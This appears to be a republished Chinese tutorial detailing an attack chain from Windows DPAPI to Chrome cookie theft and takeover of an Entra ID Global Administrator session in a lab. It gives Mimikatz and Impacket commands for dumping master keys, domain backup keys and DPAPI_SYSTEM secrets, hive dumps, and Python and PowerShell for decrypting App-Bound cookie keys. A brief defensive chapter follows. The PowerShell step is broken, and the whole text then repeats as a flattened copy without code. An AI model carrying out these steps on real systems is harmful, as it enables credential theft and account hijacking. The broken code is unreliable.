From DPAPI to Chrome - A Journey to Entra ID Takeover
字数 3893 2025-11-05 23:45:18

从DPAPI到Chrome:Entra ID接管完整攻击链路教学文档

概述

随着多因素认证(MFA)的广泛部署,从浏览器中窃取用户密码的利用价值降低,攻击者转向窃取浏览器Cookie作为突破口。现代浏览器如Chrome和Edge采用Windows内置的DPAPI数据保护机制加密敏感数据。本文将深入探索DPAPI概念和工作原理,演示完整攻击链路。

第一章:DPAPI基础概念

1.1 什么是DPAPI

Data Protection API (DPAPI) 是Microsoft从Windows 2000开始提供的数据保护应用程序编程接口,用于向用户和系统进程提供操作系统级数据保护服务。

核心特性:

  • 解决加密系统中密钥管理的核心挑战
  • 使用用户或系统的机密信息作为熵源
  • 简化开发者加密工作,无需自行管理密钥保护

1.2 DPAPI核心函数

// 主要加密解密函数
CryptProtectData()    // 数据加密
CryptUnprotectData()  // 数据解密

// 内存保护函数
CryptProtectMemory()   // 内存加密
CryptUnprotectMemory() // 内存解密

Entropy参数: 加密解密时参与运算的额外密钥材料,增强安全性。

第二章:攻击DPAPI的战略价值

2.1 现实攻击意义

战术优势:

  • 绕过MFA多因素认证机制
  • 直接访问凭据管理器中的用户凭据
  • 解密浏览器保存的密码和Cookie
  • 实现云服务会话劫持

2.2 攻击场景

典型攻击路径:

  1. 建立初始立足点
  2. 提取DPAPI MasterKey
  3. 解密敏感数据(凭据、Cookie)
  4. 接管云服务会话(Microsoft 365、Azure AD/Entra ID等)

第三章:DPAPI技术深度解析

3.1 DPAPI核心组件

3.1.1 Secondary Entropy(二次熵)

  • 应用程序提供的额外密钥材料
  • 增强同一用户下不同应用间的数据隔离
  • 必须与加密时相同的entropy值才能解密

3.1.2 DPAPI Key体系

MasterKey(主密钥):

  • 64字节随机数据
  • 基于用户密码保护
  • 每个MasterKey分配唯一GUID标识
  • 存储在用户配置文件目录

Session Key(会话密钥):

  • 基于MasterKey、随机数据和entropy生成
  • 实际用于数据加密的对称密钥
  • 不存储,使用时重新生成

3.2 DPAPI层级结构

用户级别DPAPI Key

  • 路径:%APPDATA%\Microsoft\Protect\<SID>\
  • 保护用户级别数据
  • 基于用户登录凭据派生

机器/系统级别DPAPI Key

  • 路径:%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User\
  • 保护系统级别数据
  • 基于DPAPI_SYSTEM密钥

3.3 DPAPI Blob结构

Data BLOB特征:

  • 01 00 00 00开头
  • 包含保护数据的MasterKey GUID
  • 存储生成Session Key的随机数据
  • 支持过期MasterKey的解密

MasterKey过期机制:

  • 硬编码3个月有效期
  • 过期后生成新MasterKey
  • 保留所有历史MasterKey用于解密旧数据

3.4 DPAPI域备份机制

域备份密钥(Domain Backup Key):

  • 域控制器的公钥/私钥对
  • 用于加密备份MasterKey
  • 通过安全RPC调用与域控制器通信

备份恢复流程:

  1. DPAPI无法用用户密码解密时触发
  2. 通过安全RPC发送备份MasterKey到域控制器
  3. 域控制器用私钥解密后返回

第四章:MasterKey提取技术

4.1 在线提取(不推荐)

使用Mimikatz提取:

# 从LSASS内存提取所有已登录用户MasterKey
mimikatz # dpapi::masterkey

局限性:

  • 需要本地管理员权限
  • 可能触发杀软/EDR检测
  • 需要工具上传到目标主机

4.2 离线提取

4.2.1 使用用户密码/凭据

已知用户密码和SID:

# 使用Mimikatz解密
mimikatz # dpapi::masterkey /in:"MasterKey文件" /password:用户密码 /sid:用户SID

# 使用域用户密码哈希
mimikatz # dpapi::masterkey /in:"MasterKey文件" /rpc /password:密码哈希

# 使用Impacket的dpapi.py
python dpapi.py masterkey -file 主密钥文件 -password 用户密码 -sid 用户SID

4.2.2 使用域备份密钥

从域控制器转储域备份密钥:

# 使用Mimikatz转储
mimikatz # lsadump::backupkeys /system:域控制器IP /export

# 生成的密钥文件:
# - *.pvk文件(私钥文件,最重要)
# - 其他相关文件

使用域备份密钥恢复MasterKey:

# 使用Mimikatz恢复
mimikatz # dpapi::masterkey /in:"MasterKey文件" /pvk:域备份密钥.pvk

# 使用Impacket恢复  
python dpapi.py masterkey -file 主密钥文件 -pvk 域备份密钥.pvk

第五章:解密DPAPI保护的数据

5.1 解密凭据管理器Vault

凭据文件位置:

  • %USERPROFILE%\AppData\Local\Microsoft\Credentials\
  • 系统文件属性,需特殊命令查看

解密流程:

  1. 拷贝凭据文件到本地
  2. 解析凭据文件获取保护的MasterKey GUID
  3. 使用对应MasterKey解密凭据
# 解析凭据文件
mimikatz # dpapi::cred /in:凭据文件

# 使用MasterKey解密
mimikatz # dpapi::cred /in:凭据文件 /masterkey:MasterKey值

5.2 解密浏览器Cookie(传统方案)

Chrome 127版本之前:

文件位置:

  • Cookies数据库:%LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies
  • 加密密钥:%LocalAppData%\Google\Chrome\User Data\Local State

解密流程:

  1. 定位Cookies和Local State文件
  2. 从Local State读取os_crypt.encrypted_key字段
  3. Base64解码得到DPAPI保护的Data BLOB
  4. 解密BLOB得到AES加密密钥
  5. 使用AES密钥解密Cookies数据库

第六章:Chrome App-Bound加密保护突破

6.1 App-Bound保护机制

保护特性:

  • Chrome 127+版本引入v20标识
  • 应用身份绑定加密(类似macOS Keychain)
  • 特权服务验证应用身份
  • 需要系统权限或Chrome进程注入才能解密

6.2 加密保护演进

版本演进:

  • Chrome 133之前:AES-256-GCM,密钥硬编码在elevation_service.exe
  • Chrome 133-136:ChaCha20_Poly1305,密钥硬编码
  • Chrome 137+:AES-256-GCM,随机aes_key + CNG加密保护

6.3 最新保护机制解密流程

6.3.1 三层保护结构

  1. 第一层:对"App-Bound Key"进行加密保护
  2. 第二层:使用用户MasterKey进行DPAPI保护
  3. 第三层:使用系统MasterKey进行DPAPI保护

6.3.2 详细解密步骤

步骤1:文件准备

# 提取app_bound_encrypted_key的Python脚本
import json
import base64

with open('Local State', 'r', encoding='utf-8') as f:
    local_state = json.load(f)

encrypted_key = local_state['os_crypt']['app_bound_encrypted_key']
encrypted_bytes = base64.b64decode(encrypted_key)

with open('app_bound_encrypted_key.bin', 'wb') as f:
    f.write(encrypted_bytes)

步骤2:解析Data BLOB

# 使用Mimikatz解析保护的系统MasterKey GUID
mimikatz # dpapi::blob /in:app_bound_encrypted_key.bin

步骤3:获取DPAPI_SYSTEM密钥

# 转储注册表获取DPAPI_SYSTEM
reg save HKLM\SYSTEM SYSTEM.hiv
reg save HKLM\SECURITY SECURITY.hiv

# 使用Mimikatz解析
mimikatz # lsadump::secrets /system:SYSTEM.hiv /security:SECURITY.hiv

步骤4:解密系统MasterKey

# 找到对应GUID的MasterKey文件并解密
mimikatz # dpapi::masterkey /in:系统MasterKey文件 /system:DPAPI_SYSTEM值

步骤5:第一层解密

# 使用系统MasterKey解密Data BLOB
mimikatz # dpapi::blob /in:app_bound_encrypted_key.bin /masterkey:系统MasterKey值

步骤6:第二层解密

# 使用用户MasterKey解密中间结果
mimikatz # dpapi::blob /in:decrypted_blob_1.bin /masterkey:用户MasterKey值

步骤7:解析加密结构

解密后的Hexdump结构:

  • 00 00 00 03标记:指示加密方案(03=AES-256-GCM + CNG)
  • ENCRYPTED_AES_KEY(32字节):经过XOR混淆和CNG加密的aes_key
  • IV(12字节):AES-256-GCM初始化向量
  • CIPHERTEXT(32字节):加密的App-Bound Key
  • TAG(16字节):GCM认证标签

加密方案标记:

  • 00 00 00 01:AES-256-GCM,硬编码密钥
  • 00 00 00 02:ChaCha20_Poly1305,硬编码密钥
  • 00 00 00 03:AES-256-GCM,随机aes_key + CNG保护

步骤8:CNG解密aes_key

# Decrypt-ChromeCngEncryptedAesKey.ps1
# 模拟LSASS进程令牌调用CNG API解密
Add-Type -AssemblyName System.Security

# CNG解密逻辑
$encryptedAesKey = [byte[]]@(0x12, 0x34, 0x56, ...) # 替换为实际的ENCRYPTED_AES_KEY
$decryptedAesKey = Invoke-CngDecryption -EncryptedData $encryptedAesKey

# XOR运算得到明文aes_key
$staticConstant = [byte[]]@(0x01, 0x02, 0x03, ...) # elevation_service.exe中的硬编码常量
$aesKeyPlaintext = $decryptedAesKey | ForEach-Object { $_ -bxor $staticConstant[$i++] }

步骤9:最终解密App-Bound Key

# 使用aes_key解密CIPHERTEXT得到真正的Cookie解密密钥
from Crypto.Cipher import AES
import base64

def decrypt_app_bound_key(encrypted_aes_key, iv, ciphertext, tag, aes_key):
    cipher = AES.new(aes_key, AES.MODE_GCM, nonce=iv)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    return plaintext

# 解密Cookies数据库
app_bound_key = decrypt_app_bound_key(encrypted_aes_key, iv, ciphertext, tag, aes_key_plaintext)

第七章:实战案例研究

7.1 攻击场景设定

环境条件:

  • 实验室:OffsecLabs
  • 已控制域控制器并转储域备份密钥
  • 目标用户:offseclabs\david.lewis
  • 目标主机:ITWS-DLEWIS
  • Chrome版本:140.0.7339.208(启用App-Bound保护)

7.2 操作步骤验证

步骤1:文件收集

  • 拷贝目标用户的Cookies和Local State文件
  • 确认Chrome版本和加密机制

步骤2-6:MasterKey解密链

  • 按前述流程完成三层解密
  • 验证每个步骤的解密结果

步骤7-9:App-Bound Key最终解密

  • 成功获取aes_key明文
  • 解密得到真正的Cookie解密密钥

7.3 会话接管

关键认证Cookie:

  • ESTSAUTH:会话认证Cookie
  • ESTSAUTHPERSISTENT:持久认证Cookie
  • ESTSAUTHLIGHT:轻量级认证Cookie

接管流程:

  1. 解密获取认证Cookie值
  2. 访问login.microsoftonline.com
  3. 注入认证Cookie恢复会话
  4. 以Global Administrator身份访问Entra ID

第八章:防御建议

8.1 技术防护措施

强化DPAPI保护:

  • 启用Credential Guard
  • 限制DPAPI_SYSTEM访问权限
  • 监控异常DPAPI调用

浏览器安全加固:

  • 定期清理浏览器Cookie
  • 启用浏览器安全增强功能
  • 限制浏览器扩展权限

8.2 检测与监控

关键检测指标:

  • 异常LSASS内存访问
  • 可疑的DPAPI相关注册表操作
  • 浏览器进程异常行为
  • 域控制器备份密钥访问日志

8.3 组织安全策略

权限管理:

  • 实施最小权限原则
  • 定期轮换域备份密钥
  • 加强域控制器安全防护

安全意识:

  • 培训用户安全浏览习惯
  • 建立安全事件响应流程

附录:工具和资源

主要工具

  • Mimikatz:DPAPI相关操作
  • Impacket dpapi.py:Python实现的DPAPI工具
  • 自定义脚本:CNG解密、Cookie解密等

参考资源

  • Microsoft官方DPAPI文档
  • Chrome安全白皮书
  • 相关研究论文和博客文章

本教学文档详细阐述了从DPAPI基础到Chrome App-Bound保护突破的完整攻击链路,为安全研究人员提供深入的技术参考,同时帮助企业更好地防御此类高级攻击。

从DPAPI到Chrome:Entra ID接管完整攻击链路教学文档 概述 随着多因素认证(MFA)的广泛部署,从浏览器中窃取用户密码的利用价值降低,攻击者转向窃取浏览器Cookie作为突破口。现代浏览器如Chrome和Edge采用Windows内置的DPAPI数据保护机制加密敏感数据。本文将深入探索DPAPI概念和工作原理,演示完整攻击链路。 第一章:DPAPI基础概念 1.1 什么是DPAPI Data Protection API (DPAPI) 是Microsoft从Windows 2000开始提供的数据保护应用程序编程接口,用于向用户和系统进程提供操作系统级数据保护服务。 核心特性: 解决加密系统中密钥管理的核心挑战 使用用户或系统的机密信息作为熵源 简化开发者加密工作,无需自行管理密钥保护 1.2 DPAPI核心函数 Entropy参数: 加密解密时参与运算的额外密钥材料,增强安全性。 第二章:攻击DPAPI的战略价值 2.1 现实攻击意义 战术优势: 绕过MFA多因素认证机制 直接访问凭据管理器中的用户凭据 解密浏览器保存的密码和Cookie 实现云服务会话劫持 2.2 攻击场景 典型攻击路径: 建立初始立足点 提取DPAPI MasterKey 解密敏感数据(凭据、Cookie) 接管云服务会话(Microsoft 365、Azure AD/Entra ID等) 第三章:DPAPI技术深度解析 3.1 DPAPI核心组件 3.1.1 Secondary Entropy(二次熵) 应用程序提供的额外密钥材料 增强同一用户下不同应用间的数据隔离 必须与加密时相同的entropy值才能解密 3.1.2 DPAPI Key体系 MasterKey(主密钥): 64字节随机数据 基于用户密码保护 每个MasterKey分配唯一GUID标识 存储在用户配置文件目录 Session Key(会话密钥): 基于MasterKey、随机数据和entropy生成 实际用于数据加密的对称密钥 不存储,使用时重新生成 3.2 DPAPI层级结构 用户级别DPAPI Key 路径: %APPDATA%\Microsoft\Protect\<SID>\ 保护用户级别数据 基于用户登录凭据派生 机器/系统级别DPAPI Key 路径: %WINDIR%\System32\Microsoft\Protect\S-1-5-18\User\ 保护系统级别数据 基于DPAPI_ SYSTEM密钥 3.3 DPAPI Blob结构 Data BLOB特征: 以 01 00 00 00 开头 包含保护数据的MasterKey GUID 存储生成Session Key的随机数据 支持过期MasterKey的解密 MasterKey过期机制: 硬编码3个月有效期 过期后生成新MasterKey 保留所有历史MasterKey用于解密旧数据 3.4 DPAPI域备份机制 域备份密钥(Domain Backup Key): 域控制器的公钥/私钥对 用于加密备份MasterKey 通过安全RPC调用与域控制器通信 备份恢复流程: DPAPI无法用用户密码解密时触发 通过安全RPC发送备份MasterKey到域控制器 域控制器用私钥解密后返回 第四章:MasterKey提取技术 4.1 在线提取(不推荐) 使用Mimikatz提取: 局限性: 需要本地管理员权限 可能触发杀软/EDR检测 需要工具上传到目标主机 4.2 离线提取 4.2.1 使用用户密码/凭据 已知用户密码和SID: 4.2.2 使用域备份密钥 从域控制器转储域备份密钥: 使用域备份密钥恢复MasterKey: 第五章:解密DPAPI保护的数据 5.1 解密凭据管理器Vault 凭据文件位置: %USERPROFILE%\AppData\Local\Microsoft\Credentials\ 系统文件属性,需特殊命令查看 解密流程: 拷贝凭据文件到本地 解析凭据文件获取保护的MasterKey GUID 使用对应MasterKey解密凭据 5.2 解密浏览器Cookie(传统方案) Chrome 127版本之前: 文件位置: Cookies数据库: %LocalAppData%\Google\Chrome\User Data\Default\Network\Cookies 加密密钥: %LocalAppData%\Google\Chrome\User Data\Local State 解密流程: 定位Cookies和Local State文件 从Local State读取 os_crypt.encrypted_key 字段 Base64解码得到DPAPI保护的Data BLOB 解密BLOB得到AES加密密钥 使用AES密钥解密Cookies数据库 第六章:Chrome App-Bound加密保护突破 6.1 App-Bound保护机制 保护特性: Chrome 127+版本引入v20标识 应用身份绑定加密(类似macOS Keychain) 特权服务验证应用身份 需要系统权限或Chrome进程注入才能解密 6.2 加密保护演进 版本演进: Chrome 133之前 :AES-256-GCM,密钥硬编码在elevation_ service.exe Chrome 133-136 :ChaCha20_ Poly1305,密钥硬编码 Chrome 137+ :AES-256-GCM,随机aes_ key + CNG加密保护 6.3 最新保护机制解密流程 6.3.1 三层保护结构 第一层 :对"App-Bound Key"进行加密保护 第二层 :使用用户MasterKey进行DPAPI保护 第三层 :使用系统MasterKey进行DPAPI保护 6.3.2 详细解密步骤 步骤1:文件准备 步骤2:解析Data BLOB 步骤3:获取DPAPI_ SYSTEM密钥 步骤4:解密系统MasterKey 步骤5:第一层解密 步骤6:第二层解密 步骤7:解析加密结构 解密后的Hexdump结构: 00 00 00 03 标记:指示加密方案(03=AES-256-GCM + CNG) ENCRYPTED_ AES_ KEY (32字节):经过XOR混淆和CNG加密的aes_ key IV (12字节):AES-256-GCM初始化向量 CIPHERTEXT (32字节):加密的App-Bound Key TAG (16字节):GCM认证标签 加密方案标记: 00 00 00 01 :AES-256-GCM,硬编码密钥 00 00 00 02 :ChaCha20_ Poly1305,硬编码密钥 00 00 00 03 :AES-256-GCM,随机aes_ key + CNG保护 步骤8:CNG解密aes_ key 步骤9:最终解密App-Bound Key 第七章:实战案例研究 7.1 攻击场景设定 环境条件: 实验室:OffsecLabs 已控制域控制器并转储域备份密钥 目标用户:offseclabs\david.lewis 目标主机:ITWS-DLEWIS Chrome版本:140.0.7339.208(启用App-Bound保护) 7.2 操作步骤验证 步骤1:文件收集 拷贝目标用户的Cookies和Local State文件 确认Chrome版本和加密机制 步骤2-6:MasterKey解密链 按前述流程完成三层解密 验证每个步骤的解密结果 步骤7-9:App-Bound Key最终解密 成功获取aes_ key明文 解密得到真正的Cookie解密密钥 7.3 会话接管 关键认证Cookie: ESTSAUTH :会话认证Cookie ESTSAUTHPERSISTENT :持久认证Cookie ESTSAUTHLIGHT :轻量级认证Cookie 接管流程: 解密获取认证Cookie值 访问login.microsoftonline.com 注入认证Cookie恢复会话 以Global Administrator身份访问Entra ID 第八章:防御建议 8.1 技术防护措施 强化DPAPI保护: 启用Credential Guard 限制DPAPI_ SYSTEM访问权限 监控异常DPAPI调用 浏览器安全加固: 定期清理浏览器Cookie 启用浏览器安全增强功能 限制浏览器扩展权限 8.2 检测与监控 关键检测指标: 异常LSASS内存访问 可疑的DPAPI相关注册表操作 浏览器进程异常行为 域控制器备份密钥访问日志 8.3 组织安全策略 权限管理: 实施最小权限原则 定期轮换域备份密钥 加强域控制器安全防护 安全意识: 培训用户安全浏览习惯 建立安全事件响应流程 附录:工具和资源 主要工具 Mimikatz :DPAPI相关操作 Impacket dpapi.py :Python实现的DPAPI工具 自定义脚本 :CNG解密、Cookie解密等 参考资源 Microsoft官方DPAPI文档 Chrome安全白皮书 相关研究论文和博客文章 本教学文档详细阐述了从DPAPI基础到Chrome App-Bound保护突破的完整攻击链路,为安全研究人员提供深入的技术参考,同时帮助企业更好地防御此类高级攻击。